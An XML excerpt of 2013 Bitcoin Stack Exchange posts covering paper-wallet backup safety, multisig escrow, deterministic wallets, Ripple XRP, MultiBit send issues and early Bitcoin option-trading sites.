  <row Id="13843" PostTypeId="1" AcceptedAnswerId="13845" CreationDate="2013-10-17T23:56:15.113" Score="3" ViewCount="356" Body="&lt;p&gt;I've made an offline address and only have the key stored on 2 encrypted flash drives stored in different locations with the private key written physically on paper and stored in 2 locations. Do I ever have to worry about my coins? That is, could theyever be lost in software changes or is that as big of a never-going-to-happen as the 21 million limit being lifted? I'm pretty sure I'm not touching that wallet for a long time. Is there any benefit to repeating this process for a more &quot;fresh&quot; address ever or does that not make sense?&lt;/p&gt;&#xA;" OwnerUserId="7144" LastEditorUserId="5406" LastEditDate="2013-10-19T12:19:07.090" LastActivityDate="2013-10-19T12:19:07.090" Title="if my wallet is sufficiently secure, can I ever lose my coins?" Tags="|security|backup|paper-wallet|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13844" PostTypeId="2" ParentId="13837" CreationDate="2013-10-18T00:03:18.287" Score="1" Body="&lt;p&gt;In the network protocol, times are represented as &lt;a href=&quot;http://en.wikipedia.org/wiki/Unix_time&quot; rel=&quot;nofollow&quot;&gt;Unix timestamps&lt;/a&gt; stored as &lt;em&gt;unsigned&lt;/em&gt; 32-bit integers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is this time converted to 32bit hex for hash calculation, if so how ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses a binary protocol. Nothing is hex. When viewing the binary data, your tools may &lt;em&gt;display&lt;/em&gt; the data in hex, but you can't directly use these hex characters for hashing, etc.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-10-18T00:03:18.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13845" PostTypeId="2" ParentId="13843" CreationDate="2013-10-18T00:23:59.717" Score="4" Body="&lt;p&gt;I'll go through your question clause by clause:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've made an offline address&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You're doing good.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and only have the key stored on 2 encrypted flash drives stored in different locations &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As long as only you know the password and the password is sufficiently strong, this is &lt;em&gt;probably&lt;/em&gt; secure.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;with the private key written physically on paper and stored in 2 locations. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If either of these two locations are accessible by anyone other than you, then they are vulnerable. If someone else found either paper, and your keys are in plain text, then you could consider them compromised.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I ever have to worry about my coins? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;That is, could they ever be lost in software changes &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Extremely unlikely, as the whole of Bitcoin depends on the safety of balances through upgrades. There are people who have very vested in ensuring that this never happens. Even a bug in the protocol could not erase history in an unrecoverable way, as a single offline client copied online or bootstrap.dat would refresh anyone affected.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;or is that as big of a never-going-to-happen as the 21 million limit being lifted? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Pretty much.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm pretty sure I'm not touching that wallet for a long time. Is there any benefit to repeating this process for a more &quot;fresh&quot; address ever or does that not make sense?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Theoretically, you would never need to regenerate keys unless some kind of vulnerability was found in the software that generated your key, ala the &lt;a href=&quot;http://arstechnica.com/security/2013/08/google-confirms-critical-android-crypto-flaw-used-in-5700-bitcoin-heist/&quot; rel=&quot;nofollow&quot;&gt;Android random number generator flaw&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An unlikely occurrence would be some kind of change to the way private keys are imported, and your private key generated in 2013 cannot be &lt;em&gt;securely&lt;/em&gt; converted to whatever format is expected in 2063, or whenever. I wouldn't get too paranoid about this.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-10-18T00:23:59.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13846" PostTypeId="2" ParentId="13842" CreationDate="2013-10-18T00:33:15.407" Score="0" Body="&lt;p&gt;XRP are not issued by gateways, they are fungible in the Ripple Protocol, much like Bitcoins in the Bitcoin Protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All other currencies in Ripple are issued as IOUs by gateways. Should the gateway fail, its IOUs would become worthless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A gateway would probably not be backed with gold, but rather with the deposits of its users. A user would send an amount to the gateway's bank account, say $10, and in recompensation receive an IOU with $10 value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What mixture of currencies a gateway holds is irrelevant for its trustworthiness.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2013-10-18T00:54:20.027" LastActivityDate="2013-10-18T00:54:20.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13847" PostTypeId="2" ParentId="7676" CreationDate="2013-10-18T00:36:06.300" Score="1" Body="&lt;p&gt;In simple terms, if you were testing against 500k patterns at 25/Mkey a second, it'd take about 25 quadrillion years to get a few collisions. Factoring out the randomness of course, as the nature of randomness entails that it could take 2 seconds or 2 sextillion years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you put all the calculating power of the entire bitcoin network on it, it would still take 10^12+ years.&lt;/p&gt;&#xA;" OwnerUserId="5016" LastActivityDate="2013-10-18T00:36:06.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13848" PostTypeId="2" ParentId="13843" CreationDate="2013-10-18T00:39:42.620" Score="2" Body="&lt;p&gt;They could be lost in a few rare scenarios. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If substantial weaknesses are found in Bitcoin's crypto, or if quantum computing becomes usable on a large scale, your coins could be stolen. Most likely, the crypto will simply be weakened and attacks will still be very slow, so you'll have some time to send your coins to new addresses that use improved crypto.&lt;/li&gt;&#xA;&lt;li&gt;When you go to redeem your coins, your CPU may err in a way that causes Bitcoin to send your coins into oblivion. There are no known cases of this actually happening, but CPUs are not perfect, and it is possible.&lt;/li&gt;&#xA;&lt;li&gt;If Bitcoin develops critical scalability problems, and nothing else solves it, one &quot;nuclear option&quot; for improving things would be to require everyone to &quot;renew&quot; their coins every few months (or whatever). Old coins that that aren't renewed would be destroyed. If this policy is implemented, you will have to follow it. You'd have plenty of warning if something like this was approaching.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To protect yourself against these things and other possibilities, you should:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Not store too much in any one address.&lt;/li&gt;&#xA;&lt;li&gt;Not send huge amounts at once.&lt;/li&gt;&#xA;&lt;li&gt;Never send &lt;em&gt;from&lt;/em&gt; any high-value address more than once. The best way to do this is to only pay to an address once.&lt;/li&gt;&#xA;&lt;li&gt;Make sure that you're able to access your wallet with only a few days of notice.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There isn't any value in moving coins before you need to.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-10-18T00:39:42.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13849" PostTypeId="1" CreationDate="2013-10-18T00:54:50.087" Score="2" ViewCount="2260" Body="&lt;p&gt;I'm trying to write a PHP plugin that will talk to bitcoind to generate a random address to send a bitcoin transaction to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm really confused: how am I supposed to setup bitcoind so that we can query it to generate a random address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!  &lt;/p&gt;&#xA;" OwnerUserId="7146" LastActivityDate="2014-01-20T06:15:24.340" Title="How do we talk to bitcoind in a PHP plugin?" Tags="|bitcoind|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13850" PostTypeId="2" ParentId="13828" CreationDate="2013-10-18T00:59:35.497" Score="0" Body="&lt;p&gt;Web servers might be using an export tool to get all the public keys into a database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other way, as you mention in the quote, is to create the public keys deterministically with a Master Public Key, that can only derive public keys and not the private key pair, resulting in watch-only wallets.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2013-10-18T00:59:35.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13851" PostTypeId="2" ParentId="7338" CreationDate="2013-10-18T02:34:06.993" Score="7" Body="&lt;p&gt;It is possible, there various sites that provide option (or option like) trading. Each have their pros and cons. Of the ones I know of theses seemed the best. However &lt;strong&gt;YMMV&lt;/strong&gt; and &lt;strong&gt;caveat emptor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At time of writing here are some simple ones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.btcoracle.com&quot; rel=&quot;nofollow&quot;&gt;btc oracle&lt;/a&gt; &amp;lt;-- Looks like a very elegant (bitcoin) solution. Just send some bitcoins to the addresses and if (in 15min, 3hr, 1day, 1week respectively later) you are in the money you are sent back X a Multiplier. &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://btclevels.com/&quot; rel=&quot;nofollow&quot;&gt;btc Levels&lt;/a&gt; &amp;lt;-- Similar to btc oracle in concept. Except you have to login to place your (high low positions) bets. Plus you can only place positions for up to the next 24 hr. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However neither of those let you buy/sell an option that is in the money(or out of), you have to wait until the option expires. And neither of them let you write options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some others:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://icbit.se&quot; rel=&quot;nofollow&quot;&gt;icbit.se&lt;/a&gt; &amp;lt;-- Futures contract  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mpex.co&quot; rel=&quot;nofollow&quot;&gt;mpex.co&lt;/a&gt; &amp;lt;--  Has a large buy in.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://coinbr.com&quot; rel=&quot;nofollow&quot;&gt;coinbr.com&lt;/a&gt; &amp;lt;-- They act as a broker to &lt;a href=&quot;http://mpex.co&quot; rel=&quot;nofollow&quot;&gt;mpex.co&lt;/a&gt; (So has a much lower buy in)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://1broker.com&quot; rel=&quot;nofollow&quot;&gt;1broker.com&lt;/a&gt; &amp;lt;-- CFD  for btc/USD&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://campbx.com&quot; rel=&quot;nofollow&quot;&gt;campbx.com&lt;/a&gt; &amp;lt;-- Options coming soon. (so is xmas though :P )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7052" LastEditorUserId="7052" LastEditDate="2014-05-29T23:42:25.810" LastActivityDate="2014-05-29T23:42:25.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13852" PostTypeId="1" CreationDate="2013-10-18T04:58:07.503" Score="4" ViewCount="2414" Body="&lt;p&gt;When I try to send coin on multibit, the send button is greyed out and I cant click it.  What gives?  My coins are confirmed.&lt;/p&gt;&#xA;" OwnerUserId="7148" LastActivityDate="2016-07-19T17:18:58.307" Title="Cant click send on Multibit" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13853" PostTypeId="2" ParentId="13842" CreationDate="2013-10-18T06:42:08.067" Score="1" Body="&lt;p&gt;XRP is the base unit in Ripple. From Ripple's viewpoint, it doesn't have value, other things have value measured in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XRP is also the only thing in Ripple that actually exists and isn't just an IOU. As such it has nothing to do with gateways, trust or bad acting, and it definitely doesn't imply any gold backing. You can have XRP in your wallet and they are what they are, and they are fungible with each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, a BTC IOU from a gateway might be worth more or less (measured in XRP) depending on how trustworthy the gateway is. But there is no built-in mechanism in Ripple to equalize the market, it's all about market forces and arbitrage bots that correct any unjustified gaps. Of course, these use Ripple's pathfinding and order matching functionality.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-10-18T06:42:08.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13854" PostTypeId="2" ParentId="13841" CreationDate="2013-10-18T06:53:19.940" Score="10" Body="&lt;p&gt;There are two basic templates for using multisig for &quot;escrow&quot;, 2-of-2 and 2-of-3. In both cases, you can currently use bitcoin-qt's raw transaction API to create the addresses and transactions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In 2-of-2 you do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a multisig address which requires signatures from both the buyer and seller.&lt;/li&gt;&#xA;&lt;li&gt;The buyer sends funds to this address.&lt;/li&gt;&#xA;&lt;li&gt;Seller ships the product.&lt;/li&gt;&#xA;&lt;li&gt;When the product arrives, the buyer and the seller sign a transaction sending the funds from the multisig address to the seller.&lt;/li&gt;&#xA;&lt;li&gt;If the order is cancelled amicably, the buyer and seller sign a transaction sending the funds from the multisig address to the buyer.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This doesn't require any 3rd party, but it does have several failure modes, e.g. extortion, negligence and so on.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In 2-of-3 you do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find a relatively trustworthy escrow/mediator.&lt;/li&gt;&#xA;&lt;li&gt;Create a multisig address requiring 2 signatures out of the buyer, seller and mediator.&lt;/li&gt;&#xA;&lt;li&gt;Buyer sends funds to this address.&lt;/li&gt;&#xA;&lt;li&gt;Seller ships the product.&lt;/li&gt;&#xA;&lt;li&gt;When the product arrives, buyer and seller sign a tx sending funds to seller.&lt;/li&gt;&#xA;&lt;li&gt;If the product doesn't arrive, mediator verifies this fact, and buyer and mediator sign a tx sending funds to buyer.&lt;/li&gt;&#xA;&lt;li&gt;If the product arrives but buyer refuses to pay, mediator verifies this fact, and seller and mediator sign a tx sending funds to seller.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This requires a 3rd party, but the trust requirement is limited. As long as buyer and seller cooperate the mediator doesn't do anything. A problem requires 2 out of 3 parties to defect, unlike traditional escrow where the escrow can ruin it himself.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2013-10-18T08:22:40.783" LastActivityDate="2013-10-18T08:22:40.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13855" PostTypeId="2" ParentId="13603" CreationDate="2013-10-18T08:33:42.320" Score="11" Body="&lt;p&gt;as davec mentioned, btcd is written in go, and thus runs on any platform that go runs on. although not officially supported, go runs on plan 9, and so i run btcd on plan 9. proof: &lt;img src=&quot;https://i.stack.imgur.com/X3bmJ.png&quot; alt=&quot;btcd on plan 9&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7150" LastActivityDate="2013-10-18T08:33:42.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13856" PostTypeId="2" ParentId="13828" CreationDate="2013-10-18T08:58:18.423" Score="2" Body="&lt;p&gt;What i understand of this bip is that it uses a deterministic wallet (or a wallet that only needs the seed key to regenerate key pairs). An example of a deterministic wallet is electrum and also brain waller. These two services i know electrum more than brain wallet. Basically, what electrum does is gives you a 128bit root key in the form of a series of words.From this root key any public key can be hashed out. Part of the ease of refreshing these &quot;old/lost&quot; public keys is because you can not generate more public keys than have already been determined (deterministic) by the length of your seed.&#xA;How it works is described by Gmaxwell on bitcoin talk&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=19137.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=19137.0&lt;/a&gt;&#xA;Introduction on what has been discussed on IRC&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I've discussed this enough on IRC that I thought I ought to put it someplace more lasting.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Bitcoin really ought to offer and default to using deterministic wallets.   The additional security of the current pre-generated ones is fairly small considering how most people use bitcoin and the liability of harm due to insufficient backups and increased pressure to keep a single wallet online is enormous. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;What is a deterministic wallet?  It's a wallet which you can backup once and it stays backed up forever because all future addresses are determined in advance. It can also be stripped down to a very small size which could be easily backed up on paper (e.g. with a QR code). This is in contrast to the current non-determinstic wallets where the keys are random but are precomputed ahead so that you're safe only if you backup at least every 100 get addresses or sends, and which grow large and harder to backup on paper over time.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I've found the backup behavior of the current wallets fairly difficulty to get even moderately technical people to understand. The current system provides enough safety to encourage complacency but not enough to make complacency acceptable.  The positive side of a non-determistic wallet is that it becomes &quot;unstolen&quot; over time but people are frequently reusing addresses and attackers will not act slowly regardless.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the tl;dr, its hard to back up a current wallet.dat file  because there are way too many private root keys made (as infinite as can be). So the author proposed that a deterministic wallet can only make a certain number of keys because there is one set private key or seed. This deterministic wallet is possible because keys are all hashed the same way (they all use the same root, or base. Or same parent)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are two types of deterministic wallet I'd like to discuss. I'll call them type-1 and type-2.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Type-1 is the most obvious kind:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The wallet stores a large random seed  S (which can be encrypted if the user uses wallet encryption)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Privatekey(type,n) is then simply set to H(n|S|type)  where H is an acceptable secure hash function and type can be set to different values for change addresses vs displayed addresses (so this distinction is preserved even if new wallet metadata is lost). &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The system would generate some (maybe 1000 of each type) addresses ahead of the furthest it has observed on the network but only bother to store the addresses. The keys can be regenerated as needed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tl;dr there are two known way discussed by gmaxwell to make sure you can keep a finite, and easily detected address.&#xA;Type 1 is where your long seed ( example: dhrhdjidgMdudyemrbyrkandurkur). it is the only base used to hash out keys. since (afaik)bitcoin naturally was built to only use each set of seed keys a few times for change wallets only, those extra associated and generated keys/seeds are only kept locally within the wallet.dat file that is on that local bitcoin instance. Dynamically the original client will assign an incoming address or if its a change address and soon start over again with a new seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type 1 uses a long set of numbers/letters Which are all generated from that seed (dhrhdjidgMdudyemrbyrkandurkur). This seed will always be hashed with the same function (lets for ease say sha). This hash function can only generate a finite amount of keys (i believe this is because your seed key is not infinity characters long, the potential number addresses are limited to the key length of the seed ). &#xA;So for as long as both dynamic wallet clients are coded to  hash/check the key the same way, they will always find the addresses through process elimination. Which is not too hard. it will hash to find if any coins are available at those addresses. If the address was never used, that address is ignored and left to use later.&#xA; (its like entering a vault with a key code and stored right on the floor is every last bitcoin you own. Those bitcoins are assorted in to plain old boxes. Since it is your vault, its tiny, and private you have only these number of boxes on the floor, they were premade boxes.&#xA;Where as you neighbors keeps creating a new vault for a new set of boxes. It sounds a little silly for them to create so many vaults with different entrance codes, and so many boxes that are never used. But thats how bitcoin works. It makes a vault and in that vault are boxes empty and ready to be filled with coins or anything left over. &#xA;It makes it harder though for a thief to break in because he needs to open every last and sort through these boxes.&#xA; But anyway you take The seed (your valts keycode) and decrypt it(enter the vault password). That key It always tells you what boxes of bitcoin are in the vault (so say that  your vault password is JOESVAULT) well you know that there are only so many boxes that can fit inside that vault, and you know the name of each box (address) in there too. So, you can look in those boxes without having to guess which vault it is in. Since you only have one vault, you can eventually guess the names of the boxes in there. And thats because each box name(address) is derived from the vault key(seed)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Type-2 is a bit less obvious and understanding it requires you to know about a property of ECC keys, roughly:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A_public_key = A_private_key*point&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Which means you can do:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;B_public_key = A_public_key+B_secret*point&#xA;  and have a new key which has a private key:&#xA;  B_private_key = A_private_key+B_secret&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;So a type2 wallet stores:&#xA;  Master_private_key&#xA;  A large Random_seed S.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;and keys are given by&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Privatekey(type,n) = Master_private_key + H(n|S|type)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;which works just like a type-1, the advantage of the type-2 is that you can separately secure the Master_private_key, but still generate new addresses with&#xA;  Publickey(type,n) = Master_public_key + H(n|S|type)*point&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This means that a e-commerce site could have the front end webserver with access to the public key and S, and someone who hacked the server could violate the confidentiality of the addresses in use (because he could enumerate all past and future addresses based on an infrequently changed public key) but couldn't actually steal any of they money sent to the addresses because he would have no access to the private keys.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This could also be used to allow getaddress to work in the client without having to provide a key (access to the TXN data in the wallet means that access to the wallet, even with private key encryption, screws your confidentiality)  which would avoid the problem of backups being endangered due to address depletion from hitting getaddress a lot between entering in the key.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Type two:&#xA;So this is like running a bank,you have one vault that is enormous. In side of this bank vault are lock boxes. Since the banker knows the  bitcoins needs to go in to the vault(in his big master key wallet which is finite as well), he now knows there are only so many lock boxes inside. But, because you as the receiving hot wallet holder only have the key to the individual lock box(&quot;public&quot; key) you wouldn't be able to get it out (that sucks you're stuck there to rot and get arrested).&#xA; The vault keycode (the master key) is needed to get out of the vault with money and only the head banker knows what that code it is. However because you know that the lock box goes in to that bank, you use that lock box(once again the lock box is the server receiving the coins). your banker assigns you that lockbox and you use that lock box for all your addresses and funds. and put all your coins in to little  pockets(each address you own is a pocket inside this lock box) every thing is safe sound and secure. &#xA;These bank lock boxes are kinda magical though, as i said you can walk in to the vault at any time, you can walk through this vaults walls to put the lock box in the vault. But if someone else steals your lock box key (woopse, i forgot the key in my purse and now my purse was stolen!) they can get your lock box(your receiving server private key) and can sort around in to your lock box, but they don't have the key code to exit the vault with the lock box. So even though a &quot;private&quot; key exists on the remote hot wallet (lock box key you left in your purse) the banker wont give your attacker entry in to the vault because he does not recognize the attacker as the person who the lock box belongs to. So, unless the attacker gets the bankers vault password, they cant get your keycode... BUT remember the bankers keycode works on your lock box. As well as anyone else's. so if the bankers keycode (master key/master seed) is discovered its game over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you are putting your lock box in a valult. The vault and the lock box each only have finite space. But they both have different keys. As long as your bankers master key is not stolen. no one can really get your money (almost like a two step auth). But rhe banker always knows the keys to his lock boxes even if you forget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its kinda inceptionish/matrixy &quot;box in a box&quot;, two finger print min, two keys to launch a nuke.... That kinda thing. But not...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, that is how i understand it. Please let me know if I'm right, wrong, not understandable or what not. I would rather edit an answer than make another&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your support and kindness. Thanks in advance for the respect of not flaming me&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="33413" LastEditDate="2016-02-28T14:45:59.750" LastActivityDate="2016-02-28T14:45:59.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13857" PostTypeId="2" ParentId="13852" CreationDate="2013-10-18T09:00:07.443" Score="5" Body="&lt;p&gt;Like all the Bitcoin clients, MultiBit is like a duck paddling on a lake. On the surface everything is calm but the legs underwater are kicking continuously. There is a lot of activity under the surface talking to the network, updating and saving the wallet etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Send bitcoin button is greyed out when the client is either busy, or waiting for something else to complete. If you hover over the button with your mouse the tooltip normally gives you more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The possible reasons are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) If you are performing an operation that affects the structure of the wallet, various options (including Send bitcoin) are temporarily disabled. This is: add/ change/ remove password, add receiving addresses, import/ export private keys, reset blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) MultiBit transmits the signed transactions on one bitcoind connection and listens on its other bitcoind connections to hear the transaction coming back. (It then knows the transaction is in the Bitcoin network and propagating). For this reason, it waits until it has two bitcoind connections before enabling the Send button. You should see a message on the Send window to this effect if this is happening. If you did something fancy with your network connections, for instance only opened port 8333 to a single node, you might have inadvertently prevented MultiBit from making multiple bitcoind connections and would see this.&lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-10-18T09:00:07.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13858" PostTypeId="2" ParentId="13838" CreationDate="2013-10-18T09:26:37.183" Score="0" Body="&lt;p&gt;At the moment, the buyer and seller will simply have to work out their differences. If the seller decides to close the door and not negotiate, it would be very difficult for the buyer to recover his or her funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regards to a service, it would probably be possible to set up a sort of escrow system where a third party will hold onto the funds until the buyer is satisfied and decides to release the funds to the seller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a problem, the mediator could step in and resolve the problem. So it could decide to either pay the seller or refund the purchaser. &lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-18T09:26:37.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13859" PostTypeId="2" ParentId="13843" CreationDate="2013-10-18T09:31:14.140" Score="-1" Body="&lt;p&gt;Sounds to me like you are taking good care of your Bitcoins, so you should be able to sleep easy at night.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there is always a risk that your account could be hacked through a scam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is the realm of technophiles, so always be careful when conducting transactions. The sad truth is that there are some scammers out there looking to hack into accounts. And as they are often very bright, there is always a risk that you could be tricked.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-18T09:31:14.140" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13860" PostTypeId="2" ParentId="13785" CreationDate="2013-10-18T09:35:10.187" Score="0" Body="&lt;p&gt;Since Bitcoin is a decentralized currency, it would probably be difficult to expire and reissue coins. So the first question would be, which authority would ever try to implement such a system? It would probably be possible for the Bitcoin Foundation to set up in the source code of the system, but honestly the costs would outweigh the benefits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, such a system would probably be vulnerable to scams and would be too complicated to pragmatically implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As other people have noted, a lot of people store their coins offline, so that would make things even more difficult. Especially in regards to setting up an automated system.&lt;/p&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="7072" LastEditDate="2013-10-18T15:48:15.913" LastActivityDate="2013-10-18T15:48:15.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13861" PostTypeId="2" ParentId="13717" CreationDate="2013-10-18T09:41:35.233" Score="1" Body="&lt;p&gt;Policies will depend upon the exchange itself and setting up an account can take a good long while. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some exchanges ask for less information, but I'd recommend being careful with using them. There have been some scams that have cost people large amounts of money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, exchanges want all of the information so they can increase security. As Bitcoins that are lost or stolen are nearly impossible to recover, exchanges want your personal contact information incase any legal problems come up. IE, you decide to run a scam yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure Mt. Gox has changed its policies. You now have to provide government issued ID to set up an account on Mt. Gox&lt;/p&gt;&#xA;" OwnerUserId="7072" LastActivityDate="2013-10-18T09:41:35.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
